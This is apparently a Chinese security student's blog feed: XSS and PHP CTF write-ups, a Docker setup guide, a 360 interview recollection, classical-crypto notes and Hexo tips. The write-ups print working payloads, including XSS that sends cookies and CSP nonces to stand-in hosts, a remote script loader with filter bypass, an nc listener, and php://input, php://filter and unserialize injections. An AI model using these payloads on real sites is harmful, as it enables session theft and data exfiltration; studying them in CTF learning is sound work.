即可访问其他页面。大家常见的应该是通过php后端渲染这些,通过include去实现在当前模板下渲染页面。此时是通过前端渲染的。
在第七行可以看到一共有4个页面,即有以下页面
1 | http://192.168.5.28/#login |
然后再进行app.js的分析
可以明显看出是一个功能的控制,可以分析出有以下功能
1 | 登录:'./api.php?action=login&' + Math.random() |
首先,依次访问以上页面,发现chgpass和main是需要登陆后才能访问。
而且main页面下有flag{}字样。
所以判断出,题目要求你以管理员身份登录后,获取到main页面下的flag。
在登录页面尝试弱口令登录后,无果。于是又把思路转向了xss。
想着可不可以拿到管理员cookie。经过尝试后,发现他做了一些xss的防范
1.将script标签中间强行加入空格
2.在<与s之间强行加入空格
3.标题处有转义,无法xss
4.限制字符长度300
于是构造payload如下
<img src='1' onerror="window.location.href='http://youhost/?'+document.cookie";>
本地测试成功,然后发送,发现获取cookie为空,即服务器端可能做了HttpOnly的限制。
所以此方法失败!!
然后尝试其他思路,想到了国赛的一道题目guestbook,已经xman排位赛的xss2。
通过构造js,来让管理员直接访问main页面,然后将其源码拖下来。
首先通过js引入一个iframe,来访问main页面,然后通过js拿到iframe的源码,发送回来。
此时遇到了一个问题,即iframe加载不完全,所以自己又添加了一个定时器。
最终代码如下
1 | var iframe = document.createElement("iframe"); |
由于代码超过了可以发送文本的长度,所以想办法采用其他方式,如外部引入js。
引入这里,自己采用的是在xss平台上面学到的一句话
<img src=x onerror="s=createElement('script');body.appendChild(s);s.src='你的js地址';">
此时由于存在script,所以得绕过一下,自己采用的是大小写绕过。将其改为下面代码即可。
<img src=x onerror="s=createElement('Script');body.appendChild(s);s.src='你的js地址';">
然后进行多次提交。即可收到打回来的代码。
最后进行url解码后即可拿到flag
题目还是蛮有意思的,主办方给的hint是csrf。
自己想了想,完全可以打源码,拿到管理员token后,然后通过构造csrf去修改管理员密码,然后登陆。
貌似自己的是非预期解法,毕竟登陆页面和修改密码页面都没有用到,而且自己这个也不算csrf。
成功的用xss再次解出一道题。
初始环境
阿里云9.9元学生机
Ubuntu 16.04 64位
首先使用apt安装docker
apt install docker.io
然后执行docker
,查看一下是否安装成功。
接下来就可以部署镜像了。
找一个适合自己的镜像。
阿里镜像中心
由于自己要部署web题,所以自己选择了一个apache-php5
docker pull registry.cn-hangzhou.aliyuncs.com/lxepoo/apache-php5
然后运行镜像,并绑定一下端口。
docker run -d -p 2027:80 registry.cn-hangzhou.aliyuncs.com/lxepoo/apache-php5
此时会返回一个值,表示该运行docker的id。以后如果想访问这个容器,需要通过该id。
然后将本地题目文件拷贝到docker,使用docker的cp命令即可。
在id前几位没有重复的情况下,可以取前几位。docker cp ./test e664955e:/var/www/
因为该镜像已经将环境集成好,所以此时就不用管他了。
直接 可以进行curl 127.0.0.1:2017
测试一下是否部署成功
最后,写一下如何进入docker容器内部.
docker exec -it e664955e bash
-d :分离模式: 在后台运行
-i :即使没有附加也保持STDIN 打开
-t :分配一个伪终端
题目
wanna hack him?
管理员使用了看似完美的安全配置.. 但是…
http://211.159.146.223/
注:以下出现的yourhost.com均为你自己的域名或者ip。自行准备外网ip或vps
打开后,会发现一个页面,根据经验。可以判断出来这是个xss题目。
preview可以检验你的payload。
点开后会发现有csp,指定lnonce。
之前本地测试时,以为nonce不变,获取到服务器端的nonce就可以用。
没想到服务器端的nonce是会变的。
然后分析题目,如何绕过nonce,发现基本不可能,无法构造语句来使用他那里的nonce。
所以只能想到,假设nonce有生效时长,那么可以获取到nonce后,在提交xss的带有获取到nonce的payload。从而实现xss、
可以通过不闭合标签,来拿到后面的信息。例如<img src='http://yourhost.com/?key=
然后我是直接将nonce发送到自己预先在服务器中写好的PHP页面,由它保存为txt。1
2
3
4
5
6
7
8<?php
if($_GET&&$_GET['key']){
$myfile = fopen("ctf.txt", "a+") or die("Unable to open file!");
$txt = $_GET['key']."\r\n";
fwrite($myfile, $txt);
fclose($myfile);
}
?>
然后可以搭配脚本提交。也可以自己手动提交payload。1
2
3
4
5
6
7
8
9
10import requests
import time
def sendNonce():
url='http://211.159.146.223/submit.php';
data={'content':"<img src='http://yourhost.com/?key=";}
r=requests.post(url,data=data)
print(r.text)
while(1):
time.sleep(5)
sendNonce()
脚本如下,发送payload。
逻辑为:拿到nonce->取出nonce->发送带有nonce的xsspayload。while(true); do nc -lnvp 2017; done
然后手动监听2017端口,等待flag过来。
1 | import requests |
这道题做了7个小时多吧。很烦。最初想到获取nonce很容易,然后在后期写脚本,与测试时。
一方面由于编程习惯不佳,还有就是心态不稳,造成很多困扰。
最后联系主办方后。获取到了一些服务端信息。
bot每次只审一定量的payload。payload过多,会被刷下去。
然后考虑改进代码。因为之前是一直全速拿nonce,全速发送。
改成了5秒拿一个nonce,然后检测到nonce刷新后,立即发送多个xsspayload。
好在最后获取到了flag。但是感觉还是不在自己的预期,因为每次跑脚本,只会返回一个flag。多个payload只生效一个。
最后,期待主办方大佬放一下源码。到时候一定要认认真真看看这个bot。
p.s.初写博客,欢迎大家指点。
]]>首先感谢手抓饼学长的推荐,让自己有了这次机会。
感觉经过这一次面试,学到了很多。更能准确的定位自己,知道以后要努力的方向。
也找到了一些自己的不足。发觉自己差的真的好多。
而且CTF这一块,虽然可以很好得入门,但也需要尽量和实战密切链接起来。否则还是不行的。
即便熟知原理,没有经过许多次的实践,甚至还不如脚本小子。
自己也该多写点工具,或者多学习一些大佬们的工具使用。
2018的目标。写出一套自动化漏洞检测脚本
360那边小哥哥下午的时候给我发的短信,约面试时间。自己因为晚上有hctf,所以约在了6点半。快到6点半的时候,蛮紧张的。自己搬着小马扎去了阳台。本想着会安静点,没想到学校恰好在放广播。无奈之下只能在那了。话说小哥哥那边很准时,6点半准时打来了电话。
恩,因为自己目前是主攻这一块的。二进制方向不太了解。如果按ctf水平来讲。二进制方向仅仅能做出来签到题。
关于实战,其实自己没有太多的经历。所以也就直接说了自己的看法。
一方面是胆小,技术不够,怕惹出事。
再有一方面就是,实战也不会找太大的目标。小目标的话,感觉渗透较简单。没必要去尝试。
只是挖过几个手机验证码绕过,xss什么的小洞。
cookie就是一个用于和服务端校验身份的值。存在本地。
cookie的属性。有失效时间,还有一个记忆犹新的就是http-only。如果这个属性为真时,js无法获取到cookie的值,可以有效减少xss的危害。
但是自己之前看过一篇文章,换了种思路来破解他。通过构造钓鱼页面,来获取管理员的账号密码。
其他的属性,自己暂时想不起来。没太关注这些。。
他俩一个是本地的一个是服务器端的。session在服务器端会存储好多信息。然后返回一个id作为cookie。做身份验证。
再加一个参数就好了。window.location.href获取到后台网址。
- 如果后台在内网里,你无法登录,那么你该怎么办。如何更大效率的利用这个xss
呃,我暂时是没办法了。
不过可以尝试拿一下他网站的源码,然后尝试构造一些csrf。
当时用的是burp,但现在用Python也可以写出利用脚本。
谈到扫目录时,自己说用python手写扫描器。
通过requests库及threading库。然后判断响应码
小哥哥又问,有没有做什么优化之类的。
自己默默回答了个异常处理。他说这个不算。
然后自己就想不出来了。向小哥哥询问建议。
他说一会聊,然后又问怎么判断存在?如果遇到自定义404怎么办?
自己没考虑这些,仅仅打ctf用。感觉还好。如果通过判断响应码不可以,可以先访问一下网站,然后自己加入规则。
小哥哥又问:如果让你写一个通用的怎么办?
回答:这个我真没办法了,不过我有个馊主意,可以用一下,但效果可能不太好。直接通过正则匹配页面中的404,按404出现次数推断。毕竟自定义404里面肯定有这些信息。而且不止一个。
回答:302重定向,404未找到,500服务器错误。
- 然后小哥哥好像又问了个403吧。
自己说,忘了,记得最清楚的就这仨。
现在想想,好傻哦。竟然连403都忘!
大家记住了哈。403 Forbidden
再往后,问了一下请求类型
回答:get,post,option。这三个挺常见,都记得。还有几个不太常见。记不清了。
- 然后又问:put知道么。还有head
回答:知道一点。
- 问:head是干什么用的。
回答:好像是获取一个响应,但不收文件。
- 问:恩,获取响应头。这不就回答你刚刚的问题了。
我:哇,好神奇哎。之前竟然没想到。(其实是没想过优化。毕竟写得玩,字典也不多。)
然后又问了问请求头都有什么
自己回答:先是请求类型 get 还是post ,然后是路径 再往后是协议
然后下面是一堆头,例如accept-language,cookie,还有浏览器信息。
- 问:host知道吧。
回答:恩,刚刚没想起来。这里是域名,或者ip
- 问:如果我改host,能不能发到别的网站上。
回答:我这里不太清楚。但感觉应该是不行的。因为之前用burp的repeater时候,想要发到其他网站,必须从右上角那个小按钮改一下地址和端口。
好吧,那我问问你文件包含吧。现在,有一个网站,存在文件包含漏洞。但是没有上传点。如果是你会怎么利用
尝试一下是否能找到网站日志文件,尝试包含日志。
又问网络原理,和系统原理这边你怎么样
我说,网络原理还将就吧,但系统原理真心不怎么样。没有学过
然后问tcp三次握手。
回答:我对这块不太熟悉,当初记住,也是因为那个故事,然后自己把打仗那个故事说了一下
又问:每一次的标志位是什么。
回答:这个真的不知道了。
说实话,自己还真有,刚刚聊天时,发现自己好多不足.
想再挖一下,懒得回去百度了。
然后。。。。紧张的忘了。。
只好说没有了。
挂了电话后心直接凉了,一首凉凉送给自己。
最终也还是拿到offer了。
]]>大部分题目都是满基础的,我等渣渣也做的蛮舒服的。据说决赛会有80支队伍。
第一次看这么多人的决赛,期待决赛场上有意思的事情发生。
审查元素,发现有maxlenth属性,修改其值,然后post一个长数据,即可得到flag。
审查元素,发现有网页源代码。
然后直接将password以数组形式post过去。
postdata:
username=admin&password[]=admin
?hint即可读到源码。
然后设置Cookie为serialize($KEY)1
2
3<?php
$KEY='BDCTF:www.bluedon.com';
echo serialize($KEY)
flag:flag{pBXeeZdOkG1QTP1}
点击链接,发现一串代码(jsfuck编码),然后console运行。
得到源码:1
2
3
4
5
6
7
8
9
10
11<?php
extract($_GET);
if(isset($bdctf)) {
$content=trim(file_get_contents($flag));
if($bdctf==$content){
echo'bdctf{**********}';
}
else
{
echo'这不是蓝盾的密码啊';
}
payload:
getdata:
?bdctf=c%3D1&flag=php://input
postdata:c=1
2014年的一道原题,利用php特性
payload:
getdata:
?user=php://input&file=php://filter/convert.base64-encode/resource=flag.php
postdata:the user is bdadmin
bdctf{Lfi_AnD_More}
admin登录提示密码错误,a登录提示用户不存在。
经过爆破,得到admin的密码为1q2w3e4r
提交flag{1q2w3e4r}成功提交。
发现接口
http://8eaaa8aed3818244e4f9f31669aac9e8.yogeit.com:8080/admin.php
传入notes后会返回 notes+账号名称+notes。
而且账号名称会变化,你所注册的账号轮播(Cookie的Session没有变),疑似条件竞争。
注册时,密钥加密方式为md5(md5(md5($pass)))
注册时,可以在用户名处进行注入。可判断出后台为django。
存在David.php
发现:O:4:”Ford”:1:{s:6:”Walker”;s:8:”flag.php”;}
然后将以上数据get形式传给侦探we….即可
payload:
getdata:
David.php?we...=O:4:"Ford":1:{s:6:"Walker";s:8:"flag.php";
备注:忘了侦探叫什么名字了。
与5题相似payload,获取到class.php源码1
2
3
4
5
6
7
8
9
10
11<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "恭喜get flag";
}
}
?>
类似第5题。只不过后边用了一个unserialize。
上次某某比赛的原题。
最后的payload:
getdata:
?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
postdata:the user is bluedon
拿到bdctf1.png,改后缀zip,解压的music.mp3文件
ihdr文件头。尝试修复png文件。得到二维码,反色后扫描,得到“工井大人夫王”
当铺解密得到 485376
再使用 MP3stego 进行解密,得到 fx4qx0hj_4_cg{Wvf},再进行栅栏,凯撒转化,得flag
bdctf{4_Sm4rt_b0y}
参考资料:http://blog.csdn.net/etf6996/article/details/70146940
下载后,发现是一个chm文档,尝试在主机打开。被win defender拦截。
尝试用好压打开。发现readme.html,打开后立即被拦截,于是拖到虚拟机打开。
题目要求,小鸡的地址即为flag。
所以flag{23.83.243.205}
伪加密压缩包,得到png文件,修改png文件高度即可得flag
Bdctf{u32wg8doib1}
密码分析者攻击密码的方法
根据密码分析者利用的数据来分类
以下攻击强度依次增大
常用准则有以下
当移位为三时,叫做凯撒密码。(之前一直认为移位密码就是凯撒/尴尬)
1 | 不安全,秘钥空间小,可穷举 |
大佬上课讲的太数学化,有点懵,课下查了查资料。
了解了些许。下面是个栗子,大家尝尝。
设密钥K= (7, 3), 用仿射密码加密明文hot。
三个字母对应的数值是7、14和19。分别加密如下:
(7×7 + 3) mod 26 = 52 mod 26 =0
(7×14 + 3) mod 26 = 101 mod 26 =23
(7×19 + 3) mod 26 =136 mod 26 =6
三个密文数值为0、23和6,对应的密文是AXG。
很简单的一个单表替换。唉,自己出生晚,要不就叫诺熙密码了。
1 | 明文:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z |
杂乱无章,瞎替换。保证一对一且唯一就好。
将多个字母一起加密,例如单词替换。
蛮有意思的一个密码,加密生动有趣/笑哭。
详细见百度百科-playfair密码,由于太过占用地方,在此不做过多解释。
一种棋盘密码,先制出密码表,然后按坐标进行加密。
类似Polybius,但相对于他,多了一个关键字。将关键字组成棋牌,然后进行解密。
传说中的希尔密码,我的线代就是因它而挂!!!
不多说了,我默默学线代去了。
哈哈哈哈哈哈。
声音中的战斗机。
一张图搞定。
类似莫斯电码。
传说中的藏头诗哦!
但英语通常是藏好了,然后组成一句话。
一点也没有中国语言的那种博大精深。
先做表格,然后按路径在表格上走就好了。嘻嘻!
正如大佬说说,能看懂的就能看懂,看不懂的怎么看也看不懂!
正如其名,有手机键盘和电脑键盘之分。
手机直接数字就好。拿到数字,手机一通瞎按,就解出来了!
电脑呢,可以围成一圈,中间那个字是明文,还可以直接用字母在键盘上的位置画一个字出来。
当然,比较6的键盘密码则是qwe加密。不是LOL哈、
由于本萌新数学不好,这里就不过多介绍了。/委屈
大概说一下就过哈。
这一堆很6很6的密码,表示自己一个也搞不懂。
坐等下学期学离散。
1 | DES,AES,RC5,ECB,CBC,CFB,OFB。 |
公钥+私钥,公钥公开
1 | RSA |
意思是在不透露任何消息的情况下,让别人确信你的确知道消息。
例如,不告诉他银行卡密码。自己独自登进银行账户,让他看一眼。
编码和加密不同。加密为了保证数据安全。而编码则是尽量方便数据传输。
又称%号编码,在%号后面加十六进制的ASCII码即可。
常用于web。
默默想起了xman预选赛的那道神坑题,明明已经将xman编码为%78%6d%61%6e
了,没想到还是不行。最后才发现神坑的题,竟然还要把%号编码为%25
,所以最后结果为%2578%256d%2561%256e
。
好在最后心血来潮,脑洞一开,试了一下。
具体细节不太清楚,但是大概了解一些特征。
=
号填充A-Z,a-z,+,/
一般出现以上两点任意一点明显特征,均可试一下base64解码。
常见的有md5,sha1等,但据说这两种都被破解了。不安全。
但ctf常见的还是md5,比较有学习意义。
词频分析工具:http://quipqiup.com/
md5解密:http://www.dmd5.com/
密码解密:http://cryptool-online.org/
大素数生成:yafu
万能解码工具:cap
豆丁ctf工具合集:http://www.docin.com/p-1492238521.html
大概就写这么多吧,说实话,今天由于数学不好,上课听得很(shui)认(zhao)真(le)。
]]>来到南京,蛮激动的。即将与各位大佬相处21天。希望在这21天内,真正可以从萌新,变大佬。话说来了后,看到了兵哥哥们,警察哥哥们。各种大佬!自己一个萌新默默在角落里瑟瑟发抖。
南京蛮棒的,而且大家都特别友好。虽然没有北京营各种大神云集,甚至开营还是看的北京直播。但感觉还是蛮棒的。上床下桌+空调。满足了自己许久以来的一个愿望。
上午的自我介绍很欢乐,各种大佬介绍着自己
看着一个个谦虚的大佬,自己一个萌新默默蜷缩在角落里发抖。
紧接着就是分组做游戏,很欢乐。最后还有小礼品。
诸葛大佬给讲述了一下夏令营的基本情况。
然后360补天的大佬又给大家讲了一个又一个鲜活的案例。
告诉大家,no zuo no die!
经过这一天,越来越期待以后的日子。
希望可以再XMAN学到更多。
也希望自己不在又萌又新。
自己安装完主题后发现,about页面无论如何都打不开。搜了又搜,最终发现还得另行配置。在这里简要说一下吧。
首先hexo先新建一个about页面。hexo new page about
和新建文章差不多,但路径不太一样,它在根目录的source文件夹下新建了一个名为about的文件夹。我们只需修改里面的index.md即可。在里面添加上我们的个人简介。
这个和上面步骤差不多。
首先hexo new page tags
然后找到文件打开,此时我们只需在配置栏加一条type: "tags"
即可
此时,我们已经配置完成了。但是打开浏览器查看,发现效果不是太如人意,此时该怎么做呢?
身为程序猿的我们,当然不能就此妥协,要改!
在这里说一下我改的方法吧,打开主题的layout文件夹,进入_partial文件夹内,修改其中的page.ejs。
不要问我怎么知道的,没工夫告诉你。
可累了,挨个打开看。
一把辛酸泪。看了三遍才找到。
至于怎么改,我这里就不详细说了,毕竟我也是瞎改。
]]>HEXO是一个很强大的静态博客框架,而且可以直接基于GitHub搭建博客。
真心蛮棒的。而且学习起来也不是太困难,稍微有点前端知识就能上手使用。
博客主要是用markdown书写,还是比较方便的。
下面给大家介绍一些小技巧,自己感觉蛮有意思的。
下面写一下在写hexo博客时的一些小技巧
在摘要写完后的下一行,写下这段代码即可。
<!--more-->
插入代码有两种方式。([]内的为参数,书写时请删掉[]。)
`代码`
效果是这样
1 | ```html |
效果是这样,html为高亮语法、可以自己随意填
在这里就不做详细解释了。这个例子大家可以看一下。1
2
3
4{% codeblock 丶诺熙 http://blog.5am3.com/2017/05/23/初识HEXO/ 初识HEXO lang:html %}
<p>代码块</p>
<div class="a">一个div</div>
{% endcodeblock %}
>这是一条引用
>这是第二条引用
{% blockquote @ http:/ /blog.5am3.com/2017/05/23/初识HEXO/ 丶诺熙 %}
Every interaction is both precious and an opportunity to delight.
{% endblockquote %}
自我感觉就是md比较简单粗暴,而swig则功能比较强大,比如引用可以标注引用来源。还可以加超链接。满棒的。
比如刚刚的那几个代码例子,研究好久才写出来。
因为如果直接写会被hexo编译成代码,而不是原来的样子。
但是写成以下就可以绕过转义。
也就是说,如果用md语法。写代码时,你的反引号比他多一个,你就赢了。这就是转义了。
但是写引用的时候要注意了。引用的转义是反斜杠。
如果是swig语法,可以加一个框,把他框起来,表明是源代码就好了。
但是自己用的时候感觉bug不少。但没办法了。